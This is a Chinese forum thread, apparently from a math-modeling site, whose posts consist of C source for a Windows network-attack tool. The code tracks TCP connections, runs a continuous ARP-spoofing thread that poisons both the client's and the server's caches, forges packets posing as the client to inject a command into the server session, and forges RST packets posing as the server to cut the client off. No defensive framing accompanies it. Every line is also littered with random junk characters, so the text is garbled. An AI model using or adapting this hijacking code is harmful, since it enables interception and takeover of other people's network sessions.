. g- D% O7 G5 y. \// $ f- K! O2 W& ^/ W( o$ a$ f' r
//功能:操作记录所有连接信息的单向链表
, `" }, i" r% S3 U2 @4 I//
. V% [8 N* C4 s7 C& _& TDWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP, $ T8 ~% K" H1 T4 ?! S$ v. o* t
            USHORT uClientPort, BOOL bDelete, BOOL bAddNew)
5 x+ W* U/ t" P7 O8 [: w{
- _( Q- `+ v: g- `" s: L! E( H$ B. E  PCONNINFO  pNew, pTmp; : `  M, `& Z2 k" f! ~7 @% i
) b+ O) D5 M- D* K6 n1 K
  pTmp = g_pConnHead; & x4 u$ I1 @6 W
  while(pTmp) 1 ^; k$ Z7 P/ s, B
  { 1 [6 ^7 v$ ~% Z$ D3 u% ^. K3 H3 |
    if(pTmp-&gt;bActive)
% n+ w; [, n. K1 l9 i' z    { 8 s2 j9 E$ S. D9 i2 t" q( M4 R
      //found it
/ |7 x: a- r: G4 L' ~      if( (pTmp-&gt;dwServerIP == dwServerIP) &amp;&amp; 8 o$ {: z* W; O1 o- W0 Z+ d9 R$ V
        (pTmp-&gt;uServerPort == uServerPort) &amp;&amp;
. {6 ?8 V$ S% }# C* f/ p        (pTmp-&gt;dwClientIP == dwClientIP) &amp;&amp;
+ o6 M8 r( r+ s        (pTmp-&gt;uClientPort == uClientPort) ) . S6 ?# K% g9 \
      {
* i/ ?2 M! ~+ A3 p% q2 `$ U8 l" n        if(bDelete)
' y; ~( G- H8 W) R" w        {
+ Q6 V7 C" N5 r8 {/ b  A          pTmp-&gt;bActive = FALSE; ' A! C/ m: A2 E% @
          return 0; ( _( y2 H" I) U7 K
        }
3 A: M3 K; u3 y7 o0 e5 M! b        else return pTmp-&gt;ident;
6 N% L5 G* ~: O/ `. i$ v      }
% K& v8 `; G! s3 x; E; r' F    } ) m& H/ W( K3 D9 Z
    pTmp = pTmp-&gt;Next; # D! |5 y& ]! p( w* K) z
  } ! L0 Z6 R+ ?* b+ Q6 v9 U% U
  //not found, create new node
. N7 {- A  W8 p" ?. O1 m  if( (!pTmp) &amp;&amp; (!bDelete) &amp;&amp; (bAddNew) )
  p& y( o3 I! f7 B  {
* k* c% S# v) W2 C: |! ?    //search unactive note 5 B% [% d& K; l& f! e
    pTmp = g_pConnHead; " s! B. e! L3 |6 \9 ^
    while(pTmp) + |. _, w# s) i! o
    { 2 }% x. W$ w) d7 \# ^8 u
      if(!pTmp-&gt;bActive) break; * g$ u" _9 ~* _8 T
      pTmp = pTmp-&gt;Next; 3 L) U/ z/ T% X5 ?, F
    }
; _4 l0 \) N- R- Q    //found a unactive node ( t" P/ Q7 i2 R7 V* W/ d
    if(pTmp) $ I9 M2 a2 j" D) R
    {
) z! G+ }1 b' l% D: i2 |      pTmp-&gt;dwServerIP = dwServerIP;
. a9 x% F6 n: Y" w( j      pTmp-&gt;uServerPort = uServerPort; 1 [5 r4 l! t# _  w4 ]
      pTmp-&gt;dwClientIP = dwClientIP; , F0 v5 P# h& y* [" W1 h3 p+ w3 T7 r
      pTmp-&gt;uClientPort = uClientPort;
9 I: D" y$ ]" R6 I3 ?      pTmp-&gt;bActive = TRUE;   [* w" h+ s5 g5 B
      return pTmp-&gt;ident; ' a5 {1 [, h7 k
    } 1 ^& J# r2 v  u9 v  {
    //not found,create new node $ h+ o& k6 j# }% @
    pNew = (PCONNINFO)malloc(sizeof(CONNINFO));
+ ]' X4 a: e) `9 Z% g  H    if(!pNew) ! C# f& ]- B; T
    { ; l% K" ?0 T1 y2 V
      printf("malloc for link node error:%d\n", GetLastError()); , m+ z' U+ T/ n( F5 }' w; \! u
      return 0;
) u! `5 h; d4 p' H$ w7 Q    }
# Y& y! q# d! o0 N* C0 C% c    //fill the struct
/ H3 j- M6 z, A% s' g- \    pNew-&gt;bActive = TRUE; 9 [$ x( P, Y. U9 h0 _
    pNew-&gt;dwServerIP = dwServerIP;
, c; F% t+ g" T6 ]6 j' ^4 s0 k    pNew-&gt;uServerPort = uServerPort;
/ h; ]/ l# j$ y" Q2 t* [0 o, I    pNew-&gt;dwClientIP = dwClientIP; * |/ j! @6 t( B3 M
    pNew-&gt;uClientPort = uClientPort; 1 n6 N6 x" B6 w6 T  L9 J7 v. f4 f
    pNew-&gt;ident = ++g_ident; ( D3 Z) n- u1 W" H8 ?' m0 i& y
    pNew-&gt;Next = NULL;
7 u" ]  {" f% ~  i  u) O1 Z$ U    //add new node to link 1 Y& h1 \: b9 T
    if(!g_pConnHead) * h* _' S/ ]6 d& B" v( ~" J
      g_pConnHead = g_pConnLast = pNew;
9 x0 ]6 G7 s8 B0 |& X$ D    else
/ @7 B$ q! K; R4 t4 g    { , x* ?% [+ k1 I; l
      g_pConnLast-&gt;Next = pNew;
( v+ k% n) t4 b8 T      g_pConnLast = pNew;
; G! q+ X0 g& x- V5 s    } 3 `8 S% M& O6 w
    return pNew-&gt;ident;
, E5 Z/ k1 ~2 O7 `& i  }
& `9 T2 r# J( c: ^0 \  return 0;
7 @! e2 `8 B8 l) X8 e}
& i/ s7 ~* \8 [) R( ~- o) m; B
) Y1 \* x3 A: q! l, C% E// % J& Q& u3 c0 j4 u  |& F  v
//功能:判断一个数据包是不是只有ACK标志 # q3 K0 g! H4 Q5 |" A& B
//
+ a( g5 X1 C+ z* XBOOL IsACKPacket(unsigned char flag)
: d6 ?# r& {$ ]6 U$ @* ~0 V{
4 Z: b, x2 y7 P+ C$ c  int  i, j=1;
3 \3 N3 d4 ]$ u7 ?* u5 D( |  ]  for(i=0 ; i&lt;4; i++)
9 M  ^" |3 [; h& _$ F6 T  { ' u) A, m" q  d, G- C
    if(flag &amp; j) return FALSE;
1 P' o! M5 L9 y" a6 T    j &lt;&lt;= 1;
: d( g* j2 Z0 j9 `# G; r0 K  }
' ^. a- X9 x1 e" C! p  if(!(flag &amp; 0x10)) return FALSE;//is ack? 3 r; ~. Q/ h5 N7 c
  if(flag &amp; 0x20) return FALSE; $ c7 i# P2 R* G7 `6 X2 b) N. R
  return TRUE; * u3 o1 ?: R8 \
}
! g3 u% ?3 B5 C' L* r! M6 I: Z, {6 N  B
//
* E0 r( H8 d7 u0 ^% p) U' Z//功能:伪装成Client给Server发送数据包
5 m$ {! l2 T' \  w// 6 c) o' U& o% p6 v( K6 O) n
BOOL SendHiJackPacket(PTCPPACKET pTempletPacket)
+ V: t8 o  m  U- P{
" S* @* H- a( p# g$ U. C8 W* f; a4 m7 c' {2 h) v% Z% k
  char    szBuff[1520]; , i9 A1 i7 W  t# x# @6 g+ D6 I
  PSDHDR    psdhdr;
/ X( G8 c, O# A0 \5 N  PTCPPACKET  pHiJackPacket = NULL;
% j: \% |# A: L' D  BOOL    bRet = FALSE;
( ?5 ]% q3 q5 m$ c4 X* r- Q
3 E$ ]! Z9 I5 r2 f  __try - ^3 f) S1 m% z8 W+ |% {
  {
8 p0 U  E8 _) G$ [8 i% }    // 3 M, a$ m  T# H+ \9 S# |  L
    if(!g_pCurrCtrlConn) __leave;
* l7 I/ G' q& W1 D$ ~6 o3 p    //allocate memory for hijack packet   X& z/ s/ ^; u
    pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
9 @! W# [1 l" {4 ?8 O    if(!pHiJackPacket) 7 j2 U+ d1 b' g* L5 @
    { * {( u! d" ~, s! s0 s5 I
      printf("malloc error:%d\n", GetLastError()); / L2 Y8 J3 ]8 p
      __leave; ' x# M, C+ J: R& c0 R! o! J! K+ m9 _
    }
0 r1 b5 d! k. x; o6 o    memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET)); 6 f# f2 Y# ?% R0 P1 r( L% c  r! F
    //-------------- modify the packet ---------------// & @& R3 f9 Y* H& g1 q( A0 ?* U7 B
    //modify ethernet head
4 F6 _2 Y' K  s4 I" n    memcpy(pHiJackPacket-&gt;ehhdr.DestMAC, g_szServerSideMAC, 6); 8 E/ H1 K' A7 H/ T; F$ G6 ]
    memcpy(pHiJackPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6);
' \, O; f! t; M    //modify ip head 2 v( w& \5 E- k  ?' ]0 Y
    pHiJackPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long)); 4 Q3 A+ j. G3 }/ o7 |6 h! ?
    pHiJackPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand)); / p" f8 U6 L$ p; _- b
    pHiJackPacket-&gt;iphdr.ident += 1;//标识加1 ; t1 g+ ]& f& h; `
    pHiJackPacket-&gt;iphdr.checksum = 0; 9 `5 }9 w, H3 K# R  D
    pHiJackPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwClientIP;//源IP地址,伪装成client % \- j2 ?8 i, B+ N: {; A: ]8 r
    pHiJackPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwServerIP;//目的IP地址,接收hijack包的地址 2 r* a( U9 _8 c% C
    //modify tcp head : O/ x3 C# b5 r0 ^
    pHiJackPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uClientPort;//client's port 8 R/ n$ v! y$ q0 H
    pHiJackPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uServerPort;//server's port " d1 g" ]- O) M7 N8 y7 H- D. {
    pHiJackPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4 &lt;&lt; 4 | 0);
7 P8 S9 I( M. y- \: v4 W: I    pHiJackPacket-&gt;tcphdr.th_flag = 0x18;// PA
: F+ R7 m- j5 h9 z. L    pHiJackPacket-&gt;tcphdr.th_sum = 0; ! l& l% M2 p! P2 I2 r
    pHiJackPacket-&gt;tcphdr.th_win = 0x3F44;
4 Z) \3 j) J  Y9 t+ U8 Q0 t7 v    //fill tcp psd head $ Y% F) {' t% X0 _
    psdhdr.saddr = pHiJackPacket-&gt;iphdr.sourceIP;           % c: \7 D/ ]& s3 g- b
    psdhdr.daddr = pHiJackPacket-&gt;iphdr.destIP;           " z& n; c( a* M
    psdhdr.mbz = 0;
( q# C: I4 R1 ~( Q( B" A    psdhdr.ptcl = IPPROTO_TCP;
! c+ Q8 F! ?6 a) H    psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len
( ^0 Y7 t' ^- `0 F; Y, y    //calculate tcp checksum     - k+ j# K  c; `8 E2 h
    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   ' w2 E* Z! v( O+ }  s' H4 m
    memcpy(szBuff + sizeof(PSDHDR), &amp;pHiJackPacket-&gt;tcphdr, sizeof(TCPHDR)); / |$ w+ v0 X, `# Z, S8 S
    memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand));
  n& W7 H, q- W* V    pHiJackPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand));
3 B5 T  t5 R  e/ k" b    //calculate IP checksum " N( W$ I3 X) d
    pHiJackPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pHiJackPacket-&gt;iphdr, sizeof(IPHDR)); 6 J/ |- K" \' I8 E
    //fill send buffer           
9 X# }, Y# S; a; l2 g8 Y    memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET));
' J5 a( ]# G) o% e& s' _6 b5 ^    memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
  F4 y+ i/ `/ l6 z+ y+ r    memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4);
! X5 i2 T& c2 D8 D3 v    memset(g_lpSendPacket-&gt;Buffer, 0, 1514); 4 Z# s- b! e" Q  h3 `! \0 K
    memcpy(g_lpSendPacket-&gt;Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand));
) ?/ T- c9 w" Z    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE) 1 x0 E$ `" d" F( ?& G& a: s. r
    {
8 n0 R2 i7 e- c; u1 S      printf("Error sending the hijack packets!\n"); ' U& k5 A2 j1 o* ?+ {1 W# C
      __leave; , j/ Q$ ]* w. W+ i8 {
    } & h) Z; @9 l% s4 p# R) [  u
    else printf("Send hijack packet ok!\n"); ( [; z: {+ n, g0 J9 S! G
    bRet = TRUE;
# e3 W+ z& D  B9 E- p/ ^& E/ j  }
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

__finally 8 k6 K* O+ J1 g
  { ' R9 R/ X6 [0 V& W; S! G
    if(pHiJackPacket) free(pHiJackPacket); ' E. Y4 H3 s0 [1 E5 Z1 ~; K
  } $ p7 K: A. `! A/ B+ o# d& y
  return bRet;
7 r: }8 N! I( Q2 D* D, k) Q8 v} ' o1 G, ?8 l/ ^' C5 n" R" m1 i
+ G; B3 p/ ?+ q' }7 z
; |& C1 s7 k# m! g) M
//
; m3 v6 q! g2 A, y//功能:伪装成Server给Client发送rst包 - O/ J3 J2 O) }2 {$ N
// 3 c6 A5 Z& j" S" v: \& q0 X
BOOL SendRstPacket(unsigned int seq, unsigned int ack) ' z  h+ Y( q8 ]% h" }
{ ' ^' m. |- j7 R+ k" E; `& a
  char    szBuff[60]; $ t3 a& H6 s; w2 [8 I9 l
  PSDHDR    psdhdr;
% J2 J/ O  G, f9 ~# E  PTCPPACKET  pTcpPacket = NULL; & ^$ r  b$ s" G! X9 l7 `' u2 E/ S
  BOOL    bRet = FALSE; : g# t: P1 R5 ~! V9 A
, H9 w) |  V: }& q- k& Z3 v1 |
  __try 1 H, @  M# ?. J* I6 B9 ?6 U' M& F
  {
: z! E8 B; S& S. O3 t% x1 `    //检查当前指向想控制的连接的信息的指针是否为空 6 G  N! w* F4 \. H* F8 d; k
    if(!g_pCurrCtrlConn) __leave;
7 K0 `7 ^, u$ Z2 ?, k1 g- l: }    //allocate memory for rst packet ' Y% q. U8 l% ^4 b# \
    pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
8 C, H9 c+ ~. b5 Q$ C    if(!pTcpPacket)
- _8 l) h  N8 q1 t6 D3 y6 d7 ?3 K7 ]$ _    { ' p( U8 A2 ^/ v" A. b, H
      printf("malloc error:%d\n", GetLastError());
: K, `  F0 B7 x! h+ u      __leave; $ m; `$ b" F4 L. v
    } ( W/ g9 E' [) h6 m7 o6 j
    //fill ethernet head
* F4 g$ E, r$ S6 x    memcpy(pTcpPacket-&gt;ehhdr.DestMAC, g_szClientSideMAC, 6); & n$ K0 X- P; r6 i/ Y
    memcpy(pTcpPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6);
- w6 ]7 [1 w& y2 P. W* ~# W2 Y2 e    pTcpPacket-&gt;ehhdr.EthernetType = htons(EPT_IP);
  l3 l0 f. O& e2 R* F5 G4 f    //fil ip head
! B$ I$ n, @- N' c, o7 D    pTcpPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long));
6 S5 M/ W* |7 m6 t0 i3 r    pTcpPacket-&gt;iphdr.tos = 0; 7 K* x, I6 d2 }% m- N
    pTcpPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)); $ R7 u5 n# h" p7 F" D9 x
    pTcpPacket-&gt;iphdr.ident = 1; # i- _1 L8 C0 E$ m2 _0 \, O, O0 v
    pTcpPacket-&gt;iphdr.frag_and_flags = 0;
0 w9 W2 ]+ G6 D" x    pTcpPacket-&gt;iphdr.ttl = 128; ; O- Y0 Y% D& Q- m4 \- u
    pTcpPacket-&gt;iphdr.proto = IPPROTO_TCP; 5 G  {3 x% ]2 Z$ h. C! X! [
    pTcpPacket-&gt;iphdr.checksum = 0; 7 G2 y& d) l8 |" ?
    pTcpPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwServerIP;//源IP地址,伪装成服务器的 * v  ]' {) `" x8 b
    pTcpPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwClientIP;//接收此rst包的ip地址 3 a4 w. Y' y2 M5 k. [; |
    //fill tcp head
2 i4 K8 @9 k& S6 C6 ~9 ]7 s    pTcpPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uServerPort;//源端口号,伪装成服务器的端口
; o0 L2 y5 `2 U. z6 J& Z    pTcpPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uClientPort;//接收此rst包的端口 ! f5 p- R# c: R
    pTcpPacket-&gt;tcphdr.th_seq = seq;//SYN
% ?: U5 [/ X7 Q# T- A    pTcpPacket-&gt;tcphdr.th_ack = ack;//ACK
+ |/ O+ |7 H' D/ i$ W    pTcpPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4&lt;&lt;4|0);
8 g; z. h( q% G* q( r0 W    pTcpPacket-&gt;tcphdr.th_flag = 4;//RST flag 6 C* i" S: M1 p* x' {7 S  U5 ~" M/ d
    pTcpPacket-&gt;tcphdr.th_win = 0;
4 y1 X* z$ e. n    pTcpPacket-&gt;tcphdr.th_urp = 0;
) A% M" _6 P! @4 V. `    pTcpPacket-&gt;tcphdr.th_sum = 0; " U& G) P# g' D
    //fill tcp psd head , D) {/ {. J9 m
    psdhdr.saddr = pTcpPacket-&gt;iphdr.sourceIP;           
( b+ B2 d! k# S: r, f- X    psdhdr.daddr = pTcpPacket-&gt;iphdr.destIP;           
7 k# A  u3 v$ f4 i: q    psdhdr.mbz = 0;
- v9 J# d' Q# ?    psdhdr.ptcl = IPPROTO_TCP; : b: I0 q  f3 [9 E& i% N/ Z9 [
    psdhdr.tcpl = htons(sizeof(TCPHDR));
  ?6 }4 e; z( R& m) {: T    //calculate tcp checksum     
$ o2 {4 t# u& U4 A8 H2 \- X$ d/ i    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   
" Z# E% k& Z) Q, _% C7 l1 }4 D% s" z    memcpy(szBuff + sizeof(PSDHDR), &amp;pTcpPacket-&gt;tcphdr, sizeof(TCPHDR));
% Z. _6 Y1 B' L9 [  u    pTcpPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR));
6 I" `  g9 I  X- d    //calculate IP checksum 7 I: H3 I5 Y$ q
    pTcpPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pTcpPacket-&gt;iphdr, sizeof(IPHDR)); + `' m, L9 n9 P: M# c! i% ?9 D
    //fill send buffer : P; Q9 G0 `" D8 C, V9 m* p& I5 k
    memset(g_lpSendPacket-&gt;Buffer, 0, 1514);
& M- i+ Y4 _3 h; N1 u& r. p    memcpy(g_lpSendPacket-&gt;Buffer, (char *)pTcpPacket, sizeof(TCPPACKET));
% R, ?. s( o4 r' m( j    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
7 D/ M0 C$ Y1 x& L2 \5 N; ~6 b    { 5 g( ?: u6 F& M$ e8 G0 B! b' ?
      printf("Error sending the rst packets!\n"); ! i8 q8 l7 {; e( G8 V/ Q
      __leave; % U* y) P& i2 Q7 a0 L
    }
7 z- j3 J- V3 Z" G    else printf("Send RST packet ok!\n"); , H7 K; B3 z3 a* V, V9 a
    bRet = TRUE;
9 u8 W- o: T) |* h  }
* n6 `0 S  c+ d, s0 x  w! Y  __finally
2 g9 X; V6 C; P  { / D$ w( U9 j5 F' `% g" u
    if(pTcpPacket) free(pTcpPacket);
& F% y1 `, H* M7 E' e( ~  } % W! \! \5 {0 ~* O
  return bRet;
! ]8 k( y6 i6 t  N} 9 L9 ~5 W& S! _5 Z6 c1 q$ l& }' K* j
: G6 i0 I7 t6 ^, ^* m/ s
// 9 p& d, d3 Q  F2 u0 P/ y( H# }6 k
//功能:计算校验和 8 c( D. I, I* a0 F$ R, _
// ( s6 `; v9 m8 C
USHORT checksum(USHORT *buffer, int size) + |$ n* k& c, q
{
1 s, h5 n4 a2 I' E3 b- U2 H2 A- o unsigned long cksum=0;
/ D: t! F; u, }6 X. Z' ^8 ` while(size &gt;1) { 8 i( u! @/ S! V1 a5 T. |
  cksum+=*buffer++;
/ a0 `/ |& o0 @9 n$ q  size -=sizeof(USHORT); ( B; j3 \* f0 A3 Q+ |9 ]
} & s% z/ B9 ~: @0 G5 z
if(size ) { $ K9 y" A% c- p" W. A! ^7 o  ~( C
  cksum += *(UCHAR*)buffer;
! N+ Z* z, `  ?2 L5 S1 e- l } ' a1 j" O- z* ^4 u. C
cksum = (cksum &gt;&gt; 16) + (cksum &amp; 0xffff);
- S4 m2 R, [0 k& H' k% G cksum += (cksum &gt;&gt;16); 9 L+ M: `$ y4 o! M( L- V" D
return (USHORT)(~cksum);
1 I1 x! J3 O. u/ u}
. \# P5 c0 H, F% n: T. A2 P2 B) ]
2 {, E0 b( f; Q- ]// # c2 C9 f( N6 l; g7 [6 J! [0 b2 t
//功能:实施ARP欺骗
8 D5 z* v0 H6 f% c& r/ Y//1 告诉ServerSide,ClientSide的mac是ownmac
7 @3 e, z) b$ T//2 告诉ClientSide,ServerSide的mac是ownmac 9 g4 I" R" S5 H7 u" r6 ?3 [8 r% i
//
4 K4 b" Q: M  ?1 d, F5 WDWORD WINAPI ArpSpoofThread(LPVOID lpType)
  F$ t9 \# t1 B5 J{ 0 G& Y; i$ Y3 q' b
  int  iType = *(int *)lpType;
# D, z! g9 f( C- ^; U  ARPPACKET  ArpPacket;
" p0 ~8 z$ i7 Q* p  LPPACKET  lpArpPacket; 9 G% m6 f  z. y2 ]% K7 @
  char    szArpBuff[60];
& q- B% R" C) v& D# X, u
+ b% e  g$ t2 e) d1 Y  switch(iType) $ O$ b2 s3 R6 E- n; F9 u
  {
1 g8 ]/ N( f: Q    case 1:
$ \5 {( `0 z% s7 s      memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6); 8 W1 S& m- w. [5 O6 {
      ArpPacket.arphdr.DestIP = g_ServerSideIP;
+ ^; P( N: A5 a4 \  j; j. a! E      ArpPacket.arphdr.SourceIP = g_ClientSideIP; % _  d7 I2 g" d3 i6 G
      break; ; }( V% Y$ _- D/ C7 C; x3 @
    case 2:
4 r" S3 D5 A. c& A      memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6);
6 w& M0 }% J3 U      ArpPacket.arphdr.DestIP = g_ClientSideIP;
: ~0 A' {; f4 @5 u* P9 e0 H      ArpPacket.arphdr.SourceIP = g_ServerSideIP; " i; g9 |1 z  Q2 Y
      break; : }4 Y4 h" y+ G
    default:
7 @" y5 M4 _* N  N7 ]3 {      return 0; ; }) `( K: S2 {8 S7 _
  }
/ i1 Y3 h. u# A4 R  u7 n$ e  //ethernet head
9 D2 X7 a4 l: E2 g2 N$ C  memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6); ( f  u; P/ b( X1 W" p# q
  ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type + ]! h6 P0 e' f4 e
  //arp head $ w$ B* L% b4 O% a) z
  memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac 2 `$ y( g1 q& {3 I/ ]! u" k* q; k
  memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac
+ d7 V2 W+ g4 ~: y% a+ n- Y  ArpPacket.arphdr.HrdAddrlen = 6;
8 P5 q, I1 E! L! c; E  ArpPacket.arphdr.ProAddrLen = 4; # v+ O) o; N$ O' J
  ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE);
1 K4 C2 C. x6 l# d  ArpPacket.arphdr.ProType = htons(EPT_IP); 5 ~2 n% l3 a# U, ~1 T% g$ b7 J' Q$ r! ~5 x
  ArpPacket.arphdr.op = htons(2);//arp reply 8 W, ?/ `& ?) \# H9 h& l* t! }( q
; I) }8 ?+ v/ P8 e; A$ r+ e
  lpArpPacket = PacketAllocatePacket();
$ ]9 g  [7 z# y1 b2 z9 p  if(lpArpPacket == NULL)
! R: O% l' f/ x9 @2 X6 ?: u+ O% g* Q  {
- N, W2 ~' H' |0 y6 k: o    printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n");
. B' [3 L2 X* r" x- H3 ^6 W# f  e    return 0;
' u( y8 c6 v. |  }
2 [9 f+ x2 t# J  h  memset(szArpBuff, 0, sizeof(szArpBuff)); 3 i' P, `6 O8 r; a
  memcpy(szArpBuff, (char *)&amp;ArpPacket, sizeof(ARPPACKET)); 8 N& G4 {: _* \% V
  PacketInitPacket(lpArpPacket, szArpBuff, 60);
# @5 L  D( D2 _$ T2 |( [) p  //send arp packet & X& d. p, ^8 X* r0 A6 ^/ {
  while(1)
# `+ {9 U9 U0 ^- N6 V  {
0 Q* [" q8 f" \    if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE) # \- Y7 U% U5 z: e. K3 n
    {
2 @9 L! x) u! S7 B1 v  b      printf("Error sending the arp spoof packets!\n");
3 v8 h2 U. Z& g      return 0; 2 q; M1 \" `: O8 H
    } . e# }3 |+ Y5 a6 `" m. Y" h% V
    Sleep(1000);
9 X) [% \3 G' X8 n) k' Y  } 8 B5 o+ |0 Y! q6 a; C& E9 g, K+ G0 x
  return 0;
% A. p7 t" ~" ~* Z; P}
; \1 {# C1 z) ~
" X/ x4 W- k1 m5 P//
# G3 d  _6 s4 ?# ^# ]! \7 m& Y3 U6 h//功能:输入IP取得对应的MAC地址
" A* ]; L' [' J//
7 }; h: f& {, j1 K, zBOOL GetMACAddr(DWORD DestIP, char *pMAC) 2 U4 n+ a! _9 H9 r# E$ [- A% ]  T
{
$ N- o' p# }) R2 {6 C7 F$ f2 v5 g  DWORD  dwRet; - Y- F- e' J& `; R% i* n& I
  ULONG  ulLen = 6, pulMac[2];
0 t9 C6 Y6 _2 n% F) w. Y: E3 L" _0 z( g  dwRet = SendARP(DestIP, 0, pulMac, &amp;ulLen); 5 y2 h4 G' |% b* P6 d
  if(dwRet == NO_ERROR) % [. v5 W, C- @: o6 z* r. p
  { 3 ?1 _' ~3 r; U
    memcpy(pMAC, pulMac, 6);
9 \9 e- S- C0 p; y+ e    return TRUE; % y% N/ }/ a5 H3 v' k
  }
* b0 n3 H6 T% Z3 ^3 {; `7 P  else return FALSE;
' C$ V- `; n! }# e  V}
回复

使用道具 举报

2

主题

15

听众

759

积分

升级  39.75%

  • TA的每日心情
    开心
    2015-8-26 15:55
  • 签到天数: 39 天

    [LV.5]常住居民I

    群组学术交流B

    群组2014数学建模国赛备战

    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册地址

    qq
    收缩
    • 电话咨询

    • 04714969085
    fastpost

    关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

    手机版|Archiver| |繁體中文 手机客户端  

    蒙公网安备 15010502000194号

    Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

    GMT+8, 2026-8-24 17:39 , Processed in 0.479773 second(s), 90 queries .

    回顶部